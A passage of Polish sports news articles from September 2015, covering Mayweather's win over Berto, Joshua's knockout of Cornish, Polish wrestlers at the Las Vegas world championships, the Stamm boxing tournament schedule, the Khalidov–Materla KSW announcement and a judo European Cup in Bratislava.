W czwartej rundzie 32-latek ruszył na Mayweathera i zadawał chaotyczne ciosy. Zamknął czempiona pod liniami, ale niewiele wskórał. Mayweather królował w półdystansie i lewym prostym punktował swojego przeciwnika. Berto nie wytrzymywał. 32-latek dopuszczał się ciosów poniżej psa, co nie podobało się Floydowi. W siódmej rundzie Berto chciał zmusić „Moneya” do otwartej walki, jednak ta próba spełzła na niczym. Mayweather dalej robił swoje. Dodatkowo Berto miał problem z celnością zadawanych ciosów. W dziesiątej rundzie sędzia przerwał pojedynek, bo główni aktorzy zamiast walczyć wdali się w dyskusję. Do końca nic się nie zmieniło. Berto szukał walki i gonił Mayweathera, który kurczowo trzymał się swojej taktyki.

Pojedynek trwał dwanaście rund. Walka o charakterze historycznym rozstrzygnęła się na korzyść „Moneya”. Sędziowie byli zgodnie i punktowali zwycięstwo Mayweathera – 117-111, 118-110, 120-108.

To już jest koniec

Wszyscy liczyli na widowisko, a walka była po prostu marnej jakości. Mayweather wygrał po raz czterdziesty dziewiąty w karierze i żegna się z ringiem. Amerykanin chce działać jako promotor. – Berto zapewniał, że walczy o zwycięstwo. Nieważne, co mówił do mnie w czasie walki, gdyż było to kiepskie. On ma serce do rywalizacji i był to dobry pojedynek. Przez dziewiętnaście lat mogłem boksować dzięki kibicom, którzy są wspaniali. Mam już prawie czterdzieści lat. Dziękuję Alowi Haymonowi za pomoc w karierze. Finansowo jestem ustawiony. Teraz będę pomagał młodym bokserom jako promotor – mówił Mayweather.

Co mówił po walce Berto? – Wszedłem do ringu, aby walczyć. Mówiłem Floydowi w trakcie pojedynku, aby zaczął walczyć. Stworzyliśmy dobre widowisko. Z pewnością Mayweather to jeden z najlepszych bokserów w historii – powiedział 32-latek.

KM

Joshua zgodnie z tradycją

Od pewnego czasu Anthony Joshua określany jest jako nadzieja i przyszłość wagi ciężkiej. Brytyjczyk miał kolejną okazję, aby udowodnić, że tak właśnie jest.

Gary Cornish odgrażał się, ale nie był w stanie nic ugrać w rywalizacji z Joshuą. 25-latek z Watfordu posłał swojego rywala na deski.

Runda pierwsza

Mówią, że czas to pieniądz i trzeba go efektywnie wykorzystywać. Z drugiej strony mając na uwadze walkę bokserską kibice oczekują wielu emocji oraz wrażeń, a więc im pojedynek trwa dłużej, tym lepiej. Joshua nie stosuje się do tej zasady. Oglądając walkę Brytyjczyka od samego początku trzeba mieć oczy szeroko otwarte. Joshua stawia na szybkość i efektywność.

Nie inaczej było w rywalizacji z Cornishem. 28-latek z Inverness pozostawał niepokonany na zawodowym ringu, jednak po walce z Joshuą jest to już nieaktualne. Cornish rozpoczął rywalizację odważnie i liczył, że uda mu się zaskoczyć przeciwnika. Jakiś pomysł w tym był, jednak wykonanie było już gorsze. Cornish zapomniał o elemencie uwagi. W porywie szaleństwa ruszył na Joshuę, jednak 25-latek zachował spokój. Już po minucie rywalizacji skontrował przeciwnika, który padł na deski. Cornish nie zamierzał się poddać i wstał, aby ponownie podjąć rękawicę. Joshua „czuł już krew”, doskoczył szybko do przeciwnika. Cornish ponownie padł na deski. Sędzia zdecydował się przerwać pojedynek. Joshua odniósł czternaste zwycięstwo w karierze.

Brytyjczyk piąty pojedynek zakończył już w pierwszej rundzie. Joshua to król nokautów, który ani razu jeszcze nie spędził w ringu pełnego dystansu. Joshua robi coraz większe wrażenie na ekspertach. Imponuje szybkością, sprawnością oraz precyzją i siłą ciosów. Joshua to nadzieja wagi średniej i coraz częściej typowany jest jako przyszły mistrz świata wagi ciężkiej.

Co dalej?

Podczas gali w Londynie kolejną walkę stoczył Dillian Whyte. 27-latek w trzeciej rundzie pokonał Briana Minto. Pojawiają się głosy, że to właśnie Whyte będzie kolejnym rywalem Joshuy.

Obaj panowie mieliby się spotkać w pojedynku o tytuł najlepszego pięściarza na Wyspach Brytyjskich. Whyte w tym roku stoczył już cztery walki i wszystkie rozstrzygnął na swoją korzyść przed czasem. 27-latek to silny pięściarz, zawodową karierę rozpoczął rok wcześniej i do tej pory nie zaznał jednak smaku porażki. Od zwycięstwa z Kristianem Kirilovem kontynuuje znakomitą passę. Whyte wygrał kolejnych dwanaście walk przed czasem, a najdłużej spędził w ringu cztery rundy. W swojej karierze 27-latek rywalizował z polskim pięściarzem. Kamil Sokołowski w trzeciej rundzie został pozbawiony szans na zwycięstwo w starciu z urodzonym na Jamajce pięściarzem.

Joshua jeszcze raz zatem musi potwierdzić, że jest najlepszy na Wyspach. Whyte to wymagający rywal, ale 25-latek będzie faworytem. Najwięksi już na niego czekają.

KM

Osocka najwyżej

Daria Osocka w kategorii 75kg zajęła ósme miejsce podczas mistrzostw świata w zapasach w Las Vegas. To najlepszy rezultat spośród wszystkich reprezentantek Polski.

Żadnej z naszych zawodniczek nie udało się zatem uzyskać kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Do Brazylii pojedzie po sześć najlepszych zapaśniczek z każdej kategorii wagowej.

Poniżej oczekiwań

Oczekiwania względem naszych zawodniczek były spore zwłaszcza, że to doświadczone i utytułowane zapaśniczki. W ubiegłym roku Iwona Matkowska w kategorii 48kg w Taszkiencie została wicemistrzynią świata, a w 2015 została brązową medalistką Igrzysk Europejskich. Z kolei srebro w Baku wywalczyła Katarzyna Krawczyk w 55kg. Również drugie miejsce na Igrzyskach Europejskich zajęła Roksana Zasina w 53kg. Tych wyników w Las Vegas nie udało się powtórzyć.

W kategorii 58kg, w której startowała Zasina zaprezentowało się trzydzieści jeden zawodniczek. Polka pewnie wygrała pierwszą walkę z Thi Loan Pham. W 1/8 finału Zasina znalazła pogromczynię w osobie Bułgarki Mimi Nikolovej Hristovej. Monika Michalik w kategorii 63kg wygrała w Las Vegas jeden pojedynek. W kolejnej walce, tak jak i Zasina, odpadła z rywalizacji w starciu z zapaśniczką z Bułgarii – Taybe Mustafą Yusein. Michalik została sklasyfikowana na trzynastej pozycji. Darii Osockiej w kategorii 75kg udało się przełamać barierę 1/8 finału. Zapaśniczka Wrestler 24 Poznań na początek rozprawiła się z Eunju Hwang, a następnie wyeliminowała Svetlanę Saenko. Barierę nie do przejścia okazała się Adeline Maria Gray. Amerykanka w ćwierćfinale wygrała z Polką, a w ostatecznym rozrachunku została mistrzynią świata. Osocka poległa w walce repasażowej, czym przekreśliła swoje szanse na brązowy medal.

Anna Zwirydowska w kategorii 55kg została sklasyfikowana na jedenastym miejscu. Szybko z zawodami pożegnała się Krawczyk, która uplasowała się na trzydziestej ósmej lokacie. Matkowska była dwunasta, a Wieszczek-Kordus znalazła się na piętnastej pozycji.

Wolni zaczęli

Dobrą formą w tym roku imponował Magomiedmurad Gadżyjew w kategorii 65kg w stylu wolnym. Zawodnik AKS Białogard w Las Vegas był o krok od uzyskania kwalifikacji olimpijskiej Gadżyjew zajął siódme miejsce w mistrzostwach świata. Na początek rozprawił się z Mihaiłem Savą, ale w 1/16 uległ Włochowi Frankowi Chemizo, który wywalczył złoty medal. Gadżyjew miał szansę wybić się w repasażach i połowicznie ją wykorzystał. Pokonał Koreańczyka Ju-Song Kima, ale w kolejnej walce przegrał z Toghrulem Asgarovem.

Radosław Baran w kategorii 97kg został sklasyfikowany na dziewiętnastym miejscu. Zaczął rywalizację od wygranej, ale w 1/8 poniósł porażkę Kyle Snyderem. Następnie Polak przepadł w repasażach. Tylko jedną walkę w Las Vegas stoczył Radosław Marcinkiewicz w 86kg.

Młody mistrz

Kyle Snyder rozpoczął tworzenie pięknej historii. Na własnym terenie zdobył tytuł mistrza świata, to pierwszy tak duży sukces w karierze tego niespełna 20-letniego zawodnika, który po drodze pokonał Radosława Barana.

Tytuł zdobyty przed rokiem w Taszkiencie obronił w kategorii 86kg w stylu wolnym Abdułraszyd Sadułajew. 19-latek z Dagestanu ma już na swoim koncie mistrzostwo świata, mistrzostwo Europy i triumf w Igrzyskach Europejskich. Doświadczona Kaori Icho sięgnęła po trzecie z rzędu złoto w światowym czempionacie w kategorii 58kg. Po pięciu latach ponownie tytuł mistrzyni świata zdobyła Sorondzonboldyn Batceceg. Mogołka triumfowała w 2010 roku w Moskwie w kategorii 59kg, teraz w 63kg.

KM

Berto zarobi dzięki Floydowi

Mówisz Floyd Mayweather Jr, myślisz show i wielkie pieniądze. W zasadzie tak jest. Ten, kto dostąpi zaszczytu walki z Amerykaninem może liczyć na pokaźny zarobek.

32-letni Andre Berto po raz pierwszy w karierze będzie miał okazję stoczyć pojedynek o takim ciężarze gatunkowym. Akcje pięściarza z Florydy nie stoją wysoko.

Mayweather po raz ostatni

Od kilku miesięcy przewija się temat zakończenia kariery przez Floyda Mayewathera Jr. „Money” jest pięściarzem spełnionym, niezwyciężonym, mistrzem świata i wybitną postacią. W swoich wypowiedziach daje do zrozumienia, że nadszedł czas, aby zająć się innymi kwestiami. Czas dla rodziny i samego siebie również jest ważny. Mimo wszystko nie ma pewności, czy rywalizacja z Berto będzie ostatnim pojedynkiem „Moneya”. Wszystko będzie jasne za kilkanaście godzin.

Jaki to będzie pojedynek? Na pewno Berto zrobi wszystko, aby zaprezentować się jak najlepiej. Pięściarz rozpoczął zawodową karierę w 2004 roku i był niepokonany do kwietnia 2011 roku. Wtedy znalazł pogromcę w osobie Victora Ortiza. Od tego momentu jego rozwój przebiega w sposób chwiejny. W ciągu dwóch lat Berto stoczył cztery pojedynki, z których trzy przegrał. W 2014 roku wrócił na właściwe tory dzięki wygranej ze Steve’m Upsherem Chambersem, w kolejnym starciu posłał na deski Josesito Lopeza i dostał propozycję nie do odrzucenia. Floydowi się nie odmawia.

Ostatnie lata w wykonaniu Berto to okres w kratkę. Amerykanin dostaje wielką szansę, aby wypromować swoje nazwisko, ale i zarobić.  Berto za walkę z Mayweatherem zgarnie cztery miliony dolarów i będzie to najwyższa kwota jaką otrzyma w dotychczasowej karierze. Wiadomo, że „Money” to marka, a zarazem magnes dla telewizji i sponsorów. Wielki mistrz zgarnie za pojedynek trzydzieści dwa miliony dolarów, ale jest to tylko suma gwarantowana. Mayweather może liczyć na dodatkowe pieniądze ze sprzedaży PPV oraz od reklamodawców.

Mayweather jest o funt cięższy od swojego najbliższego rywala. Amerykanin dał kres wszelkim spekulacjom. – Będzie to moja ostatnia walka w karierze. Bez problemów osiągnąłem limit wagowy. Wiem jak wygrać tę walkę, nie lekceważę rywala – mówi Money.

Jest gdzieś, lecz nie wiadomo gdzie

Wszyscy mają w pamięci majowe starcie Mayweathera z Pacquiao. „Money” zapowiada, że z Berto stoczy ostatnią walką w karierze. Niedawno promotor Pacquiao Bob Arum mówił, iż „Pacman” też niedługo pożegna się z ringiem.

Filipińczyk chce rewanżu z Mayweatherem. Czy Pacquiao przekona Amerykanina do jeszcze jednej walki? – Chcę rewanżowej walki. Aby nie mieć kontuzji i rywalizować na sprawiedliwych zasadach. Bez faworyzowania którejkolwiek ze stron. Mayweather nie może dyktować warunków. Komisja powinna nałożyć na niego sankcje i udowodnić, że nie faworyzuje żadnego boksera – powiedział "Pacman".

Pojedynek Mayweather vs Berto odbędzie się w nocy z 12 na 13 września o godzinie 3.00 czasu polskiego.

KM

XXXII Turniej im. Feliksa Stamma

Zapraszamy na transmisję telewizyjną na żywo realizowaną przez PZB z XXXII Turnieju im. Feliksa Stamma.

PROGRAM XXXII MIĘDZYNARODOWEGO TURNIEJU BOKSERSKIEGO im. FELIKSA STAMMA

W dniach 09-12.2015r. w Hali Sportowej OSiR m. st. Warszawy w Dzielnicy Włochy, przy ul. Gładkiej 18 odbędzie się XXXII Międzynarodowy Turniej Bokserski im. Feliksa Stamma. Do udziału w zawodach zgłoszonych zostało 115 zawodników z 22 państw (69 mężczyzn i 46 kobiet).

PROGRAM ZAWODÓW:

09.09.2015 (środa)

11.00 – I seria walk eliminacyjnych

16.30 – uroczyste otwarcie turnieju

17.00 – II seria walk eliminacyjnych

 

10.09.2015 (czwartek)

11.00 – I seria walk ćwierćfinałowych

17.00 – II seria walk ćwierćfinałowych

 

11.09.2015 (piątek)

11.00 – I seria walk półfinałowych

17.00 – II seria walk półfinałowych

 

12.09.2015 (sobota)

19.30 – gala finałowa

Hala Sportowa OSIR Włochy
Warszawa, ul. Gładka 18

[kod]

Pojedynek marzenie

Wreszcie! Jedni przecierają oczy ze zdumienia, a drudzy już zacierają ręce. Mamed Khdaliov zmierzy się z Michałem Materlą.

Przed długi czas kwestia tego pojedynku pozostawała tematem tabu. Wydawało się, że walka pomiędzy Khalidovem, a Materlą nie będzie miała miejsca. A jednak! Panowie zmierzą się na KSW 33.

Królowie wagi średniej

W Polsce nie było bardziej wyczekiwanego pojedynku niż ten. Khalidov podbił serca publiczności i jest jej ulubieńcem. Na KSW dominuje i gromi kolejnych rywali. Z kolei Materla to fighter, który ciężko pracował, aby wejść na szczyt.

Kontrakt na walkę został podpisany, ale żaden z zawodników nie jest z tego zachwycony. Powszechnie wiadomo, że obaj darzą się sympatią, ale muszą na chwilę o tym zapomnieć i wykonać swoją pracę. Wygrała presja kibiców, względy marketingowe.

W klatce będą musieli pokazać swój cały arsenał. Polska pozna odpowiedź na pytanie, kto jest najlepszym zawodnikiem wagi średniej. W tej chwili trudno oceniać szanse, gdyż wydaje się, że rozkładają się one po równo.

Listopadowe starcie

Wszystko będzie jasne 28 listopada. Wtedy Khalidov i Materla staną naprzeciw siebie w Krakowie. Będzie to pojedynek o pas mistrzowski KSW w wadze średniej.

Khalidov wróci w najlepszym możliwym momencie. 35-letni fighter w ostatnim czasie pauzował z powodu kontuzji kręgosłupa. Po walce z Brettem Cooperem, która odbyła się na KSW 29 w grudniu 2014 roku Khalidov musiał odpocząć od MMA. Już w trakcie przygotowań zawodnik miał problemy zdrowotne, jednak przystąpił do pojedynku. Z Cooperem spędził w oktagonie pełne trzy rundy, co po raz ostatni miało miejsce w 2010 roku.

Khalidov przyzwyczaił do efektywności i zawsze potrafił zaskoczyć publiczność. Wszyscy pamiętają jak efektywnie rozprawił się przez duszenie z Mattem Lindlandem, pokonał wysokiego Kendalla Grove'a czy zmusił do poddania Maiquela Falcao. 35-latek tworzy widowisko, a przy tym jest skromny.

Materla jest mistrzem KSW w wadze średniej od 2012 roku, kiedy okazał się lepszy od Jaya Silvy. Właśnie w rywalizacji z 34-latkiem stworzył prawdziwe show. To była wojna w trzech odsłonach, z której ostatecznie zwycięsko odszedł Materla. Popularny „Magic” podczas KSW 31 spotkał się z Tomaszem Drwalem. Był to pojedynek dwóch wielkich wojowników. Materli, który zdominował wagę średnią w KSW i Drwala, zawodnika z doświadczeniem w UFC. Okazało się, że „Magic” jest lepiej przygotowany kondycyjnie, ma więcej sił i potrafi wykorzystać swoje atuty.

Teraz Materla ma okazję do stoczenia drugiej wielkiej walki na rodzimej ziemi. Będzie rywalizował z fighterem, którego doskonale zna. Kibice spodziewają się ogromnych emocji. Khalidov wróci do rywalizacji po prawie roku przerwy i zapewne będzie głodny walki, ale to Materla jest mistrzem. Obaj ponad pięćdziesiąt procent swoich pojedynków wygrali przed poddanie się rywala. Kto tym razem odklepie?

KM

Janikowski był blisko

Zapaśnik WKS Śląska Wrocław był o krok od uzyskania kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. Polak podczas mistrzostw świata w Las Vegas w kategorii 85kg w stylu klasycznym zajął siódme miejsce.

Kwalifikację na igrzyska uzyskuje sześciu najlepszych zawodników z każdej kategorii. Janikowski był o krok, ale nie udało się. Wynik zapaśnika wrocławskiego Śląska to do tej pory najlepszy rezultat spośród wszystkich naszych reprezentantów.

Pokonany przez mistrza

Janikowski udanie rozpoczął udział w mistrzostwach świata i szedł dobrą ścieżką. Wydawało się, że medal jest jak najbardziej realny, a na pewno stać go na uzyskanie kwalifikacji olimpijskiej. Aleksandr Kazakevic starał się, jednak nie był w stanie zagrozić polskiemu zapaśnikowi. W 1/16 finału Janikowski rozprawił się z Grekiem Dimitriosem Tsekeridisem. Kolejna walka nie była łatwa, gdyż Nenad Zugaj to solidna marka. 32-letni Chorwat to doświadczony zapaśnik, który odnosił sukcesy. W swojej karierze sięgnął po brązowy medal mistrzostw świata w 2010 roku w Moskwie. Tegoroczne starty również pokazały, że Zugaj ma potencjał. W Igrzyskach Europejskich w Baku dotarł do półfinału. Janikowski wygrał rywalizację z Chorwatem i awansował do ćwierćfinału, a tam spotkał Zhana Beleniuka. 24-letni Ukrainiec jest w bardzo dobrym momencie swojej kariery i zdobywa medale w niemalże każdym starcie. Janikowski przegrał z Beleniukiem 1:2, ale miał możliwość rywalizacji w repasażach. Polak nie miał zbyt wiele do powiedzenia w walce z ubiegłorocznym brązowym medalistą z Taszkientu Węgrem Wiktorem Lorinczem.

Do tej pory w rywalizacji pań zaprezentowały się trzy nasze zawodniczki. Najwyżej uplasowała się Iwona Matkowska, która w kategorii 48kg była dwunasta. Zawodniczka WKS Grunwald Poznań nie miała problemów z pokonaniem Emilii Aliny Vuc. Wicemistrzyni świata z Taszkientu w kolejnym pojedynku trafiła na Natalię Pulkovską. Ukrainka miała więcej argumentów czysto sportowych i wygrała, ale w 1/8 zakończyła swój udział w czempionacie.

Agnieszka Wieszczek-Kordus w Las Vegas również stoczyła dwa pojedynki. Dorothy Erzsebet Yeats musiała uznać wyższość Polki, jednak nasza zawodniczka w kolejnej walce uległa Nasanburmie Ochirbat. Wieszczek-Kordus zajęła piętnaste miejsce. Zaledwie jeden pojedynek w Las Vegas stoczyła Katarzyna Krawczyk w kategorii 53kg. Polka przegrała z Otgonceceg Davaasuch.

Ukrainiec w gazie

Zhan Beleniuk w kolejnym sezonie prezentuje wysoką formę. W zeszłym roku został mistrzem Europy, a teraz w Las Vegas sięgnął po złoty medal mistrzostw świata. Tym samym poprawił swój wynik z Taszkientu, gdzie zdobył brąz. Z kolei w Baku podczas Igrzysk Europejskich zdobył srebro.

Wśród kobiet prym wiodą Japonki. W kategorii 53kg triumfowała Saori Yoshida, która tym samym zdobyła jedenasty tytuł mistrzyni świata z rzędu. Dotychczas triumfowała w światowym czempionacie trzynaście razy. Warto dodać, że Japonka zdobywa tylko złote medale we wszystkich imprezach, w których startuje. 22-letnia Eri Tosaka nie może poszczycić się takimi osiągnięciami jak starsza koleżanka. Mimo to Japonka to po raz trzeci z rzędu sięgnęła po złoty medal mistrzostw świata w kategorii 48kg. Natalja Worobjowa czekała na moment, w którym okaże się najlepszą zapaśniczką na świecie w 69kg. Stało się to w Las Vegas.

KM

Polak przegrał z Kazachem

Michał Tracz w kategorii 59kg nie miał szczęścia. Polski zapaśnik podczas mistrzostw świata w Las Vegas stoczył zaledwie jedną walkę.

W kategorii 59kg zaprezentowało się czterdziestu czterech zawodników. Tracz trafił na reprezentanta Kazachstanu Almata Kebispayeva, który okazał się być przeszkodą nie do przejścia.

Kubańczyk podbija świat

Michał Tracz trafił na wymagającego rywala. Kebispayev pewnie wygrał z Polakiem i zmierzał w kierunku strefy medalowej. Tracz został sklasyfikowany na trzydziestym piątym miejscu. Reprezentant Kazachstanu wygrał trzy kolejne pojedynki, co dało mu awans do półfinału. W walce o finał odbił się od Ismaela Borrero Moliny niczym od ściany, jednak nadal pozostawał w rozgrywce o medale. Soslan Daurov był przeciwnikiem Kebispayeva w pojedynku o brązowy medal. Zwycięsko z tej batalii wyszedł Kazach.

Mistrzem świata w kategorii 59kgzostał Ismael Borrero Molina. 23-letni Kubańczyk stopniowo zdobywał uznanie wśród najlepszych zapaśników aż w końcu sam sięgnął po najwyższy laur. Rok temu w Taszkiencie był tuż za strefą medalową – zajął piątą pozycję. Niepodzielnie panuje na swoim kontynencie. Trzy razy z rzędu zdobył mistrzowski tytuł na czempionatach panamerykańskich. W finale w Las Vegas Molina okazał się lepszy od Rovshana Bayramova.

Rasul Chunayev w tym roku jest w fenomenalnej formie. Najpierw reprezentant Azerbejdżanu wprawił w ekstazę swoich rodaków podczas Igrzysk Europejskich w Baku, gdzie sięgnął po złoty medal w kategorii 71kg. W Las Vegas udowodnił, że sukces odniesiony na rodzimej ziemi nie był dziełem przypadku. Chunayev okazał się najlepszym zapaśnikiem na świecie. W finale kategorii 71kg uporał się z Ukraińcem Armenem Vardanyanem.

Radość w Turcji

Cieszy się Turcja. 33-letni Selcuk Cebi sięgnął w Las Vegas po piąty medal mistrzostw świata, ale po raz trzeci został najlepszym zapaśnikiem globu w kategorii 80kg. W rywalizacji w Las Vegas spisywał się znakomicie, a w finale pokonał Białorusina Viktara Sasunouskiego. Co ciekawe, Cebi jeszcze nigdy nie zdobył złotego medalu mistrzostw Europy. Warto dodać, że dwa poprzedniego tytuły mistrza świata zdobywał w niższej kategorii wagowej – 74kg. Turcja cieszy się podwójnie, bo w kategorii 130kgtriumfował Riza Kayaalp. 26-latek to niezwykle utytułowany zawodnik. W swojej karierze zdobywał już medale na wszystkich najważniejszych imprezach. Trzy razy był już mistrzem Europy, a w Las Vegas po raz drugi sięgnął po tytuł najlepszego zapaśnika świata w kategorii 130kg. Wcześniejsze sukcesy odnosił w 120kg. W Las Vegas był pewny, skuteczny i gromił kolejnych rywali. Mijain Lopez Nunez mógł zapomnieć o złotym medalu, gdyż Kayaalp jest w fenomenalnej formie. W tym roku zdobył także złoty medal Igrzysk Europejskich w Baku.

KM

Polacy zalali Bratysławę

Niedawno zakończyły się mistrzostwa świata w judo w Astanie, a zawodnicy szykują się do kolejnych startów. Polacy wzięli udział w Pucharze Europy w Bratysławie.

Stolica Słowacji przeżyła prawdziwy najazd biało-czerwonych. W Bratysławie zaprezentowało się dwudziestu dziewięciu judoków i czternaście judoczek z Polski.

Nasza triumfy

Łącznie w zawodach wystąpiło dwustu dwunastu judoków. W kategorii +100kg zaprezentowało się zaledwie dziewięciu zawodników. Kamil Grabowski stoczył trzy walki w Bratysławie i wszystkie wygrał, co dało mu pierwsze miejsce. Polak rozpoczął rywalizację od pojedynku z Niemcem Benjaminem Bouizgarne. Potem Grabowski pokonał Lukasa Hlavacka z Czech i awansował do finału. W decydującym pojedynku polski judoka wygrał przez ippon z reprezentantem gospodarzy Vito Dragicem.

W kategorii 90kg wystartowało pięciu zawodników z Polski. Mikołaj Trześniewski w pierwszym pojedynku trafił na Bernharda Albera, który musiał uznać wyższość polskiego judoki. W kolejnej walce doszło do rywalizacji polsko-polskiej. Trześniewski trafił na Patryka Cichomskiego, dla którego była to pierwsza walka w Bratysławie. Zawodnik AZS AWF Katowice dobrze wszedł w turniej. Trześniewski stoczył dwie walki i musiał pożegnać się z zawodami. W półfinale Ciechomski trafił na Toniego Grohna i wygrał z Niemcem, co dało mu awans do finału. Tam czekał już Tomasz Szczepaniak, który wcześniej odprawił Dusana Hegedusa i Nicholasa Mungai. Polski finał w kategorii 90kg był najlepszym podsumowaniem rywalizacji w 90kg. Przez yuko wygrał Szczepaniak. Trześniewski zajął piąte miejsce, a Mariusz Krueger był siódmy.

Srebrne dziewczyny

Żadnej z naszych pań nie udało się stanąć na najwyższym stopniu podium. W kategorii +78kg wystartowały zaledwie dwie zawodniczki, w tym Joanna Jaworska, którą sklasyfikowano na drugiej pozycji.

W kategorii 48kg dwa zwycięstwa odniosła Joanna Stankiewicz. W finale trafiła na Włoszkę Angelę Giamattei i przegrała. Trzy zwycięstwa i jedna porażka dały drugie miejsce Magdalenie Miller w kategorii 57kg. W 63kg wystąpiło osiemnaście zawodniczek, co należy uznać za ilość przyzwoitą. Karolina Tałach wygrała cztery pojedynki, jednak w finale nie sprostała Danieli Kazanoi z Białorusi. Polki wywalczyły jeszcze trzy brązowe medale, które były udziałem Martyny Martynowicz (52kg), Halimy Mohamed-Seghir (63kg) oraz Barbary Białas (70kg).

Po przygodach w repasażach po brązowe medale sięgnęli również Bartłomiej Garbacik (60kg) i Michał Bartusik (66kg).

Dwa dni rywalizacji w Bratysławie dały Polakom dwanaście medali. Na szczycie stanęło dwóch naszych judoków – Grabowski i Szczepaniak. Ilość przekłuła się w jakość. Polska okazała się najlepsza i zajęła pierwsze miejsce w klasyfikacji medalowej Pucharu Europy w Bratysławie. Drugie miejsce przypadło Czechom, którzy na swoim koncie zapisali pięć krążków. Z kolei Słowacy wywalczyli jeden medal mniej.

 

KM

Bernatek zatrzymał się na 1/8

Mistrzostwa świata w Las Vegas nabierają rozpędu. Jako pierwsi zaprezentowali się zapaśnicy w stylu klasycznym.

Pierwszego dnia mistrzostw wystąpiło trzech reprezentantów Polski. Najwyższej uplasował się Mateusz Bernatek.

Wysoka stawka

Zdobyć mistrzostwo świata w Las Vegas to jest coś. Triumf w tym amerykańskim mieście smakuje zapewne wyjątkowo, gdyż to stolica hazardu i przepychu. Swoimi wrażeniami mogą dzielić się już trzeciej mistrzowie świata. W kategorii 66kg triumfował Frank Staebler, który w finale uporał się z Hansu Ryu. Roman Vlasov okazał się najlepszy w 75kg, a Artur Aleksanyan w 98kg. Dla Staeblera to pierwszy złoty medal mistrzostw świata. Do tej pory Niemiec triumfował tylko w mistrzostwach Europy, a w światowym czempionacie wcześniej sięgnął po brąz w 2013 roku z Budapeszcie. Vlasow wywalczył kolejny złoty medal mistrzostw świata, ale musiał na niego czekać aż cztery lata. Z kolei Aleksanyan obronił tytuł, który wywalczył rok temu w Taszkiencie.

Pierwsi zwycięzcy już są. Złoty medal mistrzostw świata to prestiż i wielka chwała, gdyż na stałe nazwisko wpisze się do historii zapasów. Obecnie triumf jest gwarancją startu w Igrzyskach Olimpijskich w Rio de Janeiro. Stawka jest wysoka. Warto więc dać z siebie wszystko.

W kategorii 66kg wystartowało czterdziestu ośmiu zawodników. Mateusz Bernatek w eliminacjach spotkał się z Davide Cascavillą i wygrał zdecydowanie. Takeshi Ikumi był rywalem Polaka w 1/16 finału, jednak Japończyk nie poradził sobie z naszymi zapaśnikiem. Bernatek zakończył swój udział na 1/8 finału. Lepszy od Polaka okazał się Dominik Etlinger. Mateusz Wolny w kategorii 75kg wygrał tylko jedną walkę. W 1/16 finału Polaka wyeliminował Bozo Starcević. Szybko z występem w Las Vegas pożegnał się Radosław Grzybicki w kategorii 98kg. Polski zapaśnik w 1/16 finału trafił na Elisa Guri, który pewnie wygrał. Mistrz świata ze Stambułu z 2011 roku był blisko medalu również w Las Vegas. Guri przegrał walkę o brąz z Islamem Magomedovem.

Czekamy na medale

Reprezentanci Polski walczą w Las Vegas o medale – to nie ulega wątpliwości. Panie do rywalizacji staną już w środę i to w nich wszyscy upatrują szans na sukces. Nasze zapaśniczki prezentują równą oraz stabilną formę. Na medal mistrzostw świata czeka 35-letnia Monika Michalik w kategorii 63kg. Zawodniczka WKS Grunwald Poznań walczy o kwalifikację olimpijską, gdyż jej celem jest medal igrzysk, którego nigdy nie zdobyła. Michalik zna smak triumfów na imprezach rangi mistrzowskiej. Polka trzykrotnie była mistrzynią Europy, a na mistrzostwach świata trzy raz sięgnęła po złoty medal mistrzostw świata. Czy Michalik w Las Vegas sięgnie po medal, a w Rio spełni swoje marzenia? Z pewnością byłoby to piękne ukoronowanie jej bogatej kariery.

Warto przypomnieć, że Iwona Matkowska w kategorii 48kg postara się o złoty medal. Rok temu w Taszkiencie zdobyła srebro. W swoim dorobku ma również brąz mistrzostw świata, więc nadszedł w końcu czas na wywalczenie złota.  

 

KM

Joshua stawia na szybkość

Anthony Joshua odlicza już dni do swojego czternastego występu na zawodowym ringu. 12 września w Londynie zmierzy się z Gary'm Cornishem.

25-letni bokser z Watfordu w swojej karierze nie doznał jeszcze porażki. Powoli urasta do rangi jednej z największych nadziei pięściarstwa na Wyspach. Jak sprawdzi się w kolejnym pojedynku?

Tytani w gotowości

Do niedawna Anthony Joshua był anonimowy i nie traktowano go jako potencjalnego kandydata na mistrza wagi ciężkiej. Po pokonaniu Kevina Johnsona już w drugiej rundzie zrobił ogromne wrażenie na obserwatorach. Również sam Władimir Kliczko otwarcie mówił o ewentualnym starciu z Brytyjczykiem. Do dyskusji włączył się również Tyson Fury, który zaznaczał, że Joshua jest na liście pięściarzy, z którymi w najbliższym czasie upora się.

25-latek buduje swoją pozycję i coraz śmielej puka do czołówki wagi ciężkiej. W swojej karierze nigdy nie walczył jeszcze na pełnym dystansie. Wszystkie pojedynki zakończył przed czasem, a najdłużej w ringu przebywał niecałe trzy rundy. W 2015 roku Joshua stoczył już trzy pojedynki i czeka na czwarty. Tym razem jego rywalem będzie Gary Cornish.

Joshua ma już zarysowany plan na tę walkę. Chce jak najszybciej uporać się ze swoim rywalem. – Wspaniale byłoby znokautować Cornisha już w pierwszej minucie. Tego chcą kibice. Jeśli wszystko pójdzie z planem to ta walka nie będzie trwała zbyt długo. Panuje przekonanie, że potrzebuję pojedynków, w których spędzę więcej rund w ringu. Uważam, że przyjdą one naturalnie – powiedział brytyjski pięściarz.

Cornish bez szans?

28-latkowi z Inverness w rywalizacji z Joshuą nie daje się zbyt wielkich szans. Jednak Cornish również potrafi wygrywać przed czasem. Dwanaście walk zakończył przez nokaut i jeszcze nigdy nie poniósł porażki na zawodowych ringach.

W tym roku Cornish stoczył dwa pojedynki, w których spędził w ringu zaledwie pięć rund. 28-latek pokonał Marino Golesa i Zoltana Csalę. Anthony Joshua to najpoważniejsze wyzwanie w karierze Cornisha, a zarazem szansa na wypłynięcie na szerokie wody. W Londynie niepokonany dotąd 28-latek będzie miał okazję pokazać swoją prawdziwą wartość. Faworyt jest jednak jeden i nazywa się Joshua.

Cornish nie wdaje się w dyskusję. Bokser jest skoncentrowany i myśli tylko o walce, a przy tym jest pewny swego. – Zbyt dużo mówi się o tej walce w mediach. Wielu ludzi nie daje mi szans, ale nie przejmuję się tym. Staram się dbać o swój interes i nie słucham tego, co mówią inni. Nie mam zamiaru mówić zbyt wiele, o tym jak będzie wyglądała walka. Wielu ludzi będzie zaskoczonych. Zamierzam wygrać ten pojedynek – mówił 28-latek.

 

KM

Vitor Belfort

